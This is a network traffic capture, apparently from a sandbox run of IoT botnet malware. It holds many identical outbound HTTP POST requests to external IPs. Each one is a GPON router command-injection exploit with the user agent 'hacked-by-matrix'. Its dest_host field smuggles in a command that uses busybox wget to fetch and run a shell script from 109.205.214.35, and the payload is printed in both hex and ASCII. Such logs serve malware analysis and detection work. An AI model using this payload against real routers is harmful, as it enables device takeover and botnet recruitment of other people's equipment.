Mar 21, 2024 05:26:12.177241087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.23	33726	118.107.225.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177241087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.23	42580	178.119.64.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177309990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.23	52820	94.46.2.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177314997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.23	38390	94.106.114.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177325964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.23	51024	212.191.241.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177349091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.23	54166	79.1.150.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177369118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.23	34212	118.117.214.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177390099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.23	53402	212.89.31.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177417040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.23	35414	178.205.53.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177417040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.23	51142	109.24.169.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177428007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.23	40166	94.235.51.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177444935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.23	44964	109.225.92.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177481890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.23	52876	37.113.140.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177484989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.23	55638	94.42.77.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177520037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.23	39998	37.195.51.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177522898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.23	53108	5.111.101.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177525997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.23	37060	210.152.179.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177553892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.23	56674	2.119.40.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177556992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.23	56514	212.223.73.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177565098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.23	47890	109.41.163.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177603006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.23	36816	2.6.230.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177613020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.23	39790	2.80.92.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177632093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.23	39742	118.13.113.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177639961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.23	55640	94.141.99.44	443

Timestamp	Bytes transferred	Direction	Data
